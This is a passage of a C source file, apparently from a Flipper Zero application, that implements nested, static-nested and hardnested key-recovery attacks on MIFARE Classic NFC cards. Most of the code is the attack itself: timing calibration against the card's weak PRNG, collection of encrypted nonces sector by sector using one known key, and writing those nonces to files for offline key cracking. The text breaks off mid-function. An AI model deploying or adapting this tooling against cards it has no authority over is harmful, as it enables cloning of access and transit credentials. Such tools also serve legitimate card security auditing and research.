mifare_nested_worker.c 53 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549
  1. #include "mifare_nested_worker_i.h"
  2. #include "lib/nested/nested.h"
  3. #include "lib/parity/parity.h"
  4. #include <lib/nfc/protocols/nfc_util.h>
  5. #include <storage/storage.h>
  6. #include <stream/stream.h>
  7. #include <stream/buffered_file_stream.h>
  8. #include "string.h"
  9. #include <furi.h>
  10. #include <furi_hal.h>
  11. #define TAG "MifareNestedWorker"
  12. void mifare_nested_worker_change_state(
  13. MifareNestedWorker* mifare_nested_worker,
  14. MifareNestedWorkerState state) {
  15. furi_assert(mifare_nested_worker);
  16. mifare_nested_worker->state = state;
  17. }
  18. MifareNestedWorker* mifare_nested_worker_alloc() {
  19. MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
  20. // Worker thread attributes
  21. mifare_nested_worker->thread = furi_thread_alloc_ex(
  22. "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
  23. mifare_nested_worker->callback = NULL;
  24. mifare_nested_worker->context = NULL;
  25. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  26. return mifare_nested_worker;
  27. }
  28. void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
  29. furi_assert(mifare_nested_worker);
  30. furi_thread_free(mifare_nested_worker->thread);
  31. free(mifare_nested_worker);
  32. }
  33. void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
  34. furi_assert(mifare_nested_worker);
  35. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
  36. furi_thread_join(mifare_nested_worker->thread);
  37. }
  38. void mifare_nested_worker_start(
  39. MifareNestedWorker* mifare_nested_worker,
  40. MifareNestedWorkerState state,
  41. NfcDeviceData* dev_data,
  42. MifareNestedWorkerCallback callback,
  43. void* context) {
  44. furi_assert(mifare_nested_worker);
  45. furi_assert(dev_data);
  46. mifare_nested_worker->callback = callback;
  47. mifare_nested_worker->context = context;
  48. mifare_nested_worker->dev_data = dev_data;
  49. mifare_nested_worker_change_state(mifare_nested_worker, state);
  50. furi_thread_start(mifare_nested_worker->thread);
  51. }
  52. int32_t mifare_nested_worker_task(void* context) {
  53. MifareNestedWorker* mifare_nested_worker = context;
  54. if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  55. mifare_nested_worker_check(mifare_nested_worker);
  56. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  57. mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
  58. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  59. mifare_nested_worker_collect_nonces(mifare_nested_worker);
  60. } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  61. mifare_nested_worker_check_keys(mifare_nested_worker);
  62. }
  63. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  64. return 0;
  65. }
  66. void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
  67. bool tag_found_notified = false;
  68. while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  69. FuriHalNfcTxRxContext tx_rx = {};
  70. MifareNestedNonceType type = nested_check_nonce_type(&tx_rx);
  71. if(type == MifareNestedNonceStatic) {
  72. mifare_nested_worker->context->collecting_type =
  73. MifareNestedWorkerStateCollectingStatic;
  74. if(!tag_found_notified) {
  75. mifare_nested_worker->callback(
  76. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  77. tag_found_notified = true;
  78. }
  79. mifare_nested_worker->callback(
  80. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  81. break;
  82. } else if(type == MifareNestedNonce) {
  83. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
  84. if(!tag_found_notified) {
  85. mifare_nested_worker->callback(
  86. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  87. tag_found_notified = true;
  88. }
  89. mifare_nested_worker->callback(
  90. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  91. break;
  92. }
  93. furi_delay_ms(250);
  94. }
  95. nfc_deactivate();
  96. }
  97. void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {
  98. uint8_t* uid = data->uid;
  99. uint8_t uid_len = data->uid_len;
  100. for(size_t i = 0; i < uid_len; i++) {
  101. uint8_t uid_part = uid[i];
  102. furi_string_cat_printf(string, "%02X", uid_part);
  103. }
  104. }
  105. void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  106. furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
  107. mifare_nested_worker_write_uid_string(data, file_path);
  108. furi_string_cat_printf(file_path, ".keys");
  109. }
  110. void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  111. furi_string_set(file_path, NESTED_FOLDER "/");
  112. mifare_nested_worker_write_uid_string(data, file_path);
  113. furi_string_cat_printf(file_path, ".nonces");
  114. }
  115. void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  116. furi_string_set(file_path, NESTED_FOLDER "/");
  117. mifare_nested_worker_write_uid_string(data, file_path);
  118. furi_string_cat_printf(file_path, ".keys");
  119. }
  120. void mifare_nested_worker_get_hardnested_folder_path(
  121. FuriHalNfcDevData* data,
  122. FuriString* file_path) {
  123. furi_string_set(file_path, NESTED_FOLDER "/");
  124. mifare_nested_worker_write_uid_string(data, file_path);
  125. }
  126. void mifare_nested_worker_get_hardnested_file_path(
  127. FuriHalNfcDevData* data,
  128. FuriString* file_path,
  129. uint8_t sector,
  130. uint8_t key_type) {
  131. mifare_nested_worker_get_hardnested_folder_path(data, file_path);
  132. furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
  133. }
  134. uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
  135. furi_assert(sector < 40);
  136. if(sector < 32) {
  137. return (sector * 4) + 3;
  138. } else {
  139. return 32 * 4 + (sector - 32) * 16 + 15;
  140. }
  141. }
  142. static MfClassicSectorTrailer*
  143. mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
  144. return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
  145. .value;
  146. }
  147. bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {
  148. Storage* storage = furi_record_open(RECORD_STORAGE);
  149. FuriString* temp_str = furi_string_alloc();
  150. mifare_nested_worker_get_key_cache_file_path(data, temp_str);
  151. FlipperFormat* file = flipper_format_file_alloc(storage);
  152. bool load_success = false;
  153. uint32_t sector_count = 0;
  154. do {
  155. if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
  156. if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
  157. uint32_t version = 0;
  158. if(!flipper_format_read_header(file, temp_str, &version)) break;
  159. if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
  160. if(version != 1) break;
  161. if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
  162. if(!furi_string_cmp(temp_str, "1K")) {
  163. mf_data->type = MfClassicType1k;
  164. sector_count = 16;
  165. } else if(!furi_string_cmp(temp_str, "4K")) {
  166. mf_data->type = MfClassicType4k;
  167. sector_count = 40;
  168. } else if(!furi_string_cmp(temp_str, "MINI")) {
  169. mf_data->type = MfClassicTypeMini;
  170. sector_count = 5;
  171. } else {
  172. break;
  173. };
  174. if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
  175. if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
  176. bool key_read_success = true;
  177. for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
  178. MfClassicSectorTrailer* sec_tr =
  179. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
  180. if(FURI_BIT(mf_data->key_a_mask, i)) {
  181. furi_string_printf(temp_str, "Key A sector %d", i);
  182. key_read_success = flipper_format_read_hex(
  183. file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
  184. }
  185. if(!key_read_success) break;
  186. if(FURI_BIT(mf_data->key_b_mask, i)) {
  187. furi_string_printf(temp_str, "Key B sector %d", i);
  188. key_read_success = flipper_format_read_hex(
  189. file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
  190. }
  191. }
  192. load_success = key_read_success;
  193. } while(false);
  194. furi_string_free(temp_str);
  195. flipper_format_free(file);
  196. return load_success;
  197. }
  198. bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
  199. if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
  200. if((c >= '0' && c <= '9')) {
  201. *nibble = c - '0';
  202. } else if((c >= 'A' && c <= 'F')) {
  203. *nibble = c - 'A' + 10;
  204. } else {
  205. *nibble = c - 'a' + 10;
  206. }
  207. return true;
  208. } else {
  209. return false;
  210. }
  211. }
  212. bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
  213. uint8_t hi_nibble_value, low_nibble_value;
  214. if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
  215. hex_char_to_hex_nibble(low, &low_nibble_value)) {
  216. *value = (hi_nibble_value << 4) | low_nibble_value;
  217. return true;
  218. } else {
  219. return false;
  220. }
  221. }
  222. MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
  223. UNUSED(ATQA1);
  224. if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
  225. if((SAK == 0x08 || SAK == 0x88)) {
  226. return MfClassicType1k;
  227. } else if(SAK == 0x09) {
  228. return MfClassicTypeMini;
  229. }
  230. } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
  231. //skylanders support
  232. return MfClassicType1k;
  233. } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
  234. return MfClassicType4k;
  235. }
  236. return MfClassicType1k;
  237. }
  238. uint32_t mifare_nested_worker_predict_delay(
  239. FuriHalNfcTxRxContext* tx_rx,
  240. uint8_t blockNo,
  241. uint8_t keyType,
  242. uint64_t ui64Key,
  243. uint32_t tries,
  244. MifareNestedWorker* mifare_nested_worker) {
  245. uint32_t cuid = 0;
  246. Crypto1* crypto = malloc(sizeof(Crypto1));
  247. uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
  248. if(tries > 10) {
  249. return 2; // To many tries, fallback to hardnested
  250. }
  251. // This part of attack is my attempt to implement it on Flipper.
  252. // Proxmark can do this in 2 fucking steps, but idk how.
  253. // First, we find RPNG rounds per 1000 us
  254. for(uint32_t rtr = 0; rtr < 25; rtr++) {
  255. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  256. return 1;
  257. }
  258. nfc_activate();
  259. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  260. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  261. furi_delay_us(rtr * 1000);
  262. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  263. // Searching for delay, where PRNG will be near 800
  264. uint32_t nttmp = prng_successor(nt1, 100);
  265. for(i = 101; i < 65565; i++) {
  266. nttmp = prng_successor(nttmp, 1);
  267. if(nttmp == nt2) break;
  268. }
  269. if(!rtr) {
  270. zero_prng_value = i;
  271. }
  272. if(previous && i > previous && i != 65565) {
  273. if(!prng_delay) {
  274. prng_delay = i - previous;
  275. } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
  276. prng_delay += i - previous;
  277. prng_delay /= 2;
  278. }
  279. }
  280. previous = i;
  281. FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
  282. // Let's hope...
  283. if(i > 810 && i < 840) {
  284. return rtr * 1000;
  285. }
  286. }
  287. FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
  288. // Next, we try to calculate time until PRNG near 800 with more perfect timing
  289. // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
  290. if(zero_prng_value == 65565) {
  291. // PRNG isn't pretictable
  292. return 1;
  293. }
  294. uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
  295. uint32_t limit = 7;
  296. for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
  297. for(uint32_t rtz = 0; rtz < 100; rtz++) {
  298. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  299. return 1;
  300. }
  301. nfc_activate();
  302. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  303. uint32_t delay = rtr * 1000 + rtz * 10;
  304. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  305. furi_delay_us(delay);
  306. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  307. // Searching for delay, where PRNG will be near 800
  308. uint32_t nttmp = prng_successor(nt1, 0);
  309. for(i = 1; i < 65565; i++) {
  310. nttmp = prng_successor(nttmp, 1);
  311. if(nttmp == nt2) break;
  312. }
  313. if(!(i > previous - 50 && i < previous + 50) && rtz) {
  314. repeat++;
  315. if(repeat < 5) {
  316. FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
  317. continue;
  318. }
  319. }
  320. if(i > 2000 && i < 65500) {
  321. uint32_t catch_cycles = (65565 - i) / prng_delay;
  322. if(catch_cycles > 2) {
  323. catch_cycles++;
  324. FURI_LOG_D(
  325. TAG,
  326. "Trying a more accurate value: skipping additional %lu us",
  327. catch_cycles * 1000);
  328. limit += catch_cycles + 2;
  329. rtr += catch_cycles;
  330. }
  331. }
  332. FURI_LOG_D(
  333. TAG,
  334. "Calibrating: ntdist=%lu, delay=%lu, max=%lu",
  335. i,
  336. delay,
  337. (cycles_to_reset + limit) * 1000);
  338. repeat = 0;
  339. previous = i;
  340. if(i > 810 && i < 840) {
  341. FURI_LOG_I(TAG, "Found delay: %lu us", delay);
  342. return delay;
  343. } else if(i > 840 && i < 40000) {
  344. FURI_LOG_D(TAG, "Trying again: timing lost");
  345. tries++;
  346. return mifare_nested_worker_predict_delay(
  347. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  348. }
  349. }
  350. }
  351. if(i > 1000 && i < 65000) {
  352. FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
  353. tries++;
  354. return mifare_nested_worker_predict_delay(
  355. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  356. }
  357. return 1;
  358. }
  359. void mifare_nested_worker_write_nonces(
  360. FuriHalNfcDevData* data,
  361. Storage* storage,
  362. NonceList_t* nonces,
  363. uint8_t tries_count,
  364. uint8_t sector_count,
  365. uint32_t delay,
  366. uint32_t distance) {
  367. FuriString* path = furi_string_alloc();
  368. Stream* file_stream = buffered_file_stream_alloc(storage);
  369. mifare_nested_worker_get_nonces_file_path(data, path);
  370. buffered_file_stream_open(
  371. file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
  372. FuriString* header = furi_string_alloc_printf(
  373. "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
  374. NESTED_NONCE_FORMAT_VERSION,
  375. NESTED_RECOVER_KEYS_GITHUB_LINK);
  376. stream_write_string(file_stream, header);
  377. for(uint8_t tries = 0; tries < tries_count; tries++) {
  378. for(uint8_t sector = 0; sector < sector_count; sector++) {
  379. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  380. if(nonces->nonces[sector][key_type][tries]->collected &&
  381. !nonces->nonces[sector][key_type][tries]->skipped) {
  382. if(nonces->nonces[sector][key_type][tries]->hardnested) {
  383. FuriString* path = furi_string_alloc();
  384. mifare_nested_worker_get_hardnested_file_path(
  385. data, path, sector, key_type);
  386. FuriString* str = furi_string_alloc_printf(
  387. "HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
  388. !key_type ? 'A' : 'B',
  389. nonces->cuid,
  390. furi_string_get_cstr(path),
  391. sector);
  392. stream_write_string(file_stream, str);
  393. furi_string_free(path);
  394. furi_string_free(str);
  395. } else {
  396. FuriString* str = furi_string_alloc_printf(
  397. "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
  398. for(uint8_t type = 0; type < 2; type++) {
  399. furi_string_cat_printf(
  400. str,
  401. " nt%u 0x%08lx ks%u 0x%08lx par%u ",
  402. type,
  403. nonces->nonces[sector][key_type][tries]->target_nt[type],
  404. type,
  405. nonces->nonces[sector][key_type][tries]->target_ks[type],
  406. type);
  407. uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
  408. for(uint8_t i = 0; i < 4; i++) {
  409. furi_string_cat_printf(str, "%u", par[i]);
  410. }
  411. }
  412. furi_string_cat_printf(str, " sec %u\n", sector);
  413. stream_write_string(file_stream, str);
  414. furi_string_free(str);
  415. }
  416. }
  417. }
  418. }
  419. }
  420. if(delay) {
  421. FuriString* str =
  422. furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
  423. stream_write_string(file_stream, str);
  424. furi_string_free(str);
  425. }
  426. free(nonces);
  427. furi_string_free(path);
  428. buffered_file_stream_close(file_stream);
  429. free(file_stream);
  430. furi_record_close(RECORD_STORAGE);
  431. }
  432. bool mifare_nested_worker_check_initial_keys(
  433. NonceList_t* nonces,
  434. MfClassicData* mf_data,
  435. uint8_t tries_count,
  436. uint8_t sector_count,
  437. uint64_t* key,
  438. uint32_t* key_block,
  439. uint32_t* found_key_type) {
  440. bool has_a_key, has_b_key;
  441. FuriHalNfcTxRxContext tx_rx = {};
  442. for(uint8_t sector = 0; sector < sector_count; sector++) {
  443. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  444. for(uint8_t tries = 0; tries < tries_count; tries++) {
  445. Nonces* info = malloc(sizeof(Nonces));
  446. info->key_type = key_type;
  447. info->block = mifare_nested_worker_get_block_by_sector(sector);
  448. info->collected = false;
  449. nonces->nonces[sector][key_type][tries] = info;
  450. }
  451. }
  452. }
  453. for(uint8_t sector = 0; sector < sector_count; sector++) {
  454. MfClassicSectorTrailer* trailer =
  455. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
  456. has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
  457. has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
  458. if(has_a_key) {
  459. for(uint8_t tries = 0; tries < tries_count; tries++) {
  460. Nonces* info = nonces->nonces[sector][0][tries];
  461. info->collected = true;
  462. nonces->nonces[sector][0][tries] = info;
  463. }
  464. if(*key_block == 0) {
  465. uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
  466. if(nested_check_key(
  467. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
  468. NestedCheckKeyValid) {
  469. *key = key_check;
  470. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  471. *found_key_type = 0;
  472. }
  473. }
  474. }
  475. if(has_b_key) {
  476. for(uint8_t tries = 0; tries < tries_count; tries++) {
  477. Nonces* info = nonces->nonces[sector][1][tries];
  478. info->collected = true;
  479. nonces->nonces[sector][1][tries] = info;
  480. }
  481. if(*key_block == 0) {
  482. uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
  483. if(nested_check_key(
  484. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
  485. NestedCheckKeyValid) {
  486. *key = key_check;
  487. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  488. *found_key_type = 1;
  489. }
  490. }
  491. }
  492. if(sector == sector_count - 1 && key_block == 0) {
  493. return false;
  494. }
  495. }
  496. return true;
  497. }
  498. void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
  499. NonceList_t* nonces = malloc(sizeof(NonceList_t));
  500. Storage* storage = furi_record_open(RECORD_STORAGE);
  501. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  502. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  503. FuriString* folder_path = furi_string_alloc();
  504. FuriHalNfcDevData data = {};
  505. nested_get_data(&data);
  506. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  507. uint64_t key = 0; // Found key for attack
  508. uint32_t found_key_type = 0;
  509. uint32_t key_block = 0;
  510. uint32_t sector_count = 0;
  511. FURI_LOG_I(TAG, "Running static nested attack");
  512. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  513. mifare_nested_worker_write_uid_string(&data, tag_info);
  514. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  515. furi_string_free(tag_info);
  516. if(type == MfClassicType4k) {
  517. sector_count = 40;
  518. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  519. } else if(type == MfClassicType1k) {
  520. sector_count = 16;
  521. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  522. } else if(type == MfClassicTypeMini) {
  523. sector_count = 5;
  524. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  525. }
  526. furi_string_set(folder_path, NESTED_FOLDER);
  527. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  528. furi_string_free(folder_path);
  529. if(!mifare_nested_worker_read_key_cache(&data, mf_data)) {
  530. mifare_nested_worker->callback(
  531. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  532. nfc_deactivate();
  533. free(mf_data);
  534. free(nonces);
  535. return;
  536. }
  537. if(!mifare_nested_worker_check_initial_keys(
  538. nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  539. mifare_nested_worker->callback(
  540. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  541. nfc_deactivate();
  542. free(mf_data);
  543. free(nonces);
  544. return;
  545. }
  546. FURI_LOG_I(
  547. TAG, "Using %c key for block %lu: %06llX", !found_key_type ? 'A' : 'B', key_block, key);
  548. nonces->tries = 1;
  549. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  550. FuriHalNfcTxRxContext tx_rx = {};
  551. for(uint8_t sector = 0; sector < sector_count; sector++) {
  552. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  553. Nonces* info = nonces->nonces[sector][key_type][0];
  554. if(info->collected) {
  555. FURI_LOG_I(
  556. TAG,
  557. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  558. sector,
  559. mifare_nested_worker_get_block_by_sector(sector),
  560. key_type);
  561. info->skipped = true;
  562. nonces->nonces[sector][key_type][0] = info;
  563. mifare_nested_worker->context->nonces = nonces;
  564. mifare_nested_worker->callback(
  565. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  566. }
  567. while(!info->collected) {
  568. if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
  569. break;
  570. }
  571. struct nonce_info_static result = nested_static_nonce_attack(
  572. &tx_rx,
  573. key_block,
  574. found_key_type,
  575. mifare_nested_worker_get_block_by_sector(sector),
  576. key_type,
  577. key);
  578. if(result.full) {
  579. FURI_LOG_I(
  580. TAG,
  581. "Accured nonces for sector %u, block %u, key_type: %u",
  582. sector,
  583. mifare_nested_worker_get_block_by_sector(sector),
  584. key_type);
  585. info = nonces->nonces[sector][key_type][0];
  586. info->collected = true;
  587. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  588. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  589. nonces->nonces[sector][key_type][0] = info;
  590. nonces->cuid = result.cuid;
  591. nonces->sector_count = sector_count;
  592. mifare_nested_worker->context->nonces = nonces;
  593. mifare_nested_worker->callback(
  594. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  595. break;
  596. } else {
  597. mifare_nested_worker->callback(
  598. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  599. }
  600. }
  601. }
  602. }
  603. break;
  604. }
  605. mifare_nested_worker_write_nonces(&data, storage, nonces, 1, sector_count, 0, 0);
  606. free(mf_data);
  607. mifare_nested_worker->callback(
  608. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  609. nfc_deactivate();
  610. }
  611. void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
  612. NonceList_t* nonces = malloc(sizeof(NonceList_t));
  613. Storage* storage = furi_record_open(RECORD_STORAGE);
  614. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  615. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  616. FuriString* folder_path = furi_string_alloc();
  617. FuriHalNfcDevData data = {};
  618. nested_get_data(&data);
  619. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  620. uint64_t key = 0; // Found key for attack
  621. uint32_t found_key_type = 0;
  622. uint32_t key_block = 0;
  623. uint32_t sector_count = 0;
  624. FURI_LOG_I(TAG, "Running hardnested attack");
  625. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  626. mifare_nested_worker_write_uid_string(&data, tag_info);
  627. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  628. furi_string_free(tag_info);
  629. if(type == MfClassicType4k) {
  630. sector_count = 40;
  631. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  632. } else if(type == MfClassicType1k) {
  633. sector_count = 16;
  634. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  635. } else if(type == MfClassicTypeMini) {
  636. sector_count = 5;
  637. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  638. }
  639. mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
  640. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  641. furi_string_free(folder_path);
  642. if(!mifare_nested_worker_read_key_cache(&data, mf_data)) {
  643. mifare_nested_worker->callback(
  644. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  645. nfc_deactivate();
  646. free(mf_data);
  647. free(nonces);
  648. return;
  649. }
  650. if(!mifare_nested_worker_check_initial_keys(
  651. nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  652. mifare_nested_worker->callback(
  653. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  654. nfc_deactivate();
  655. free(mf_data);
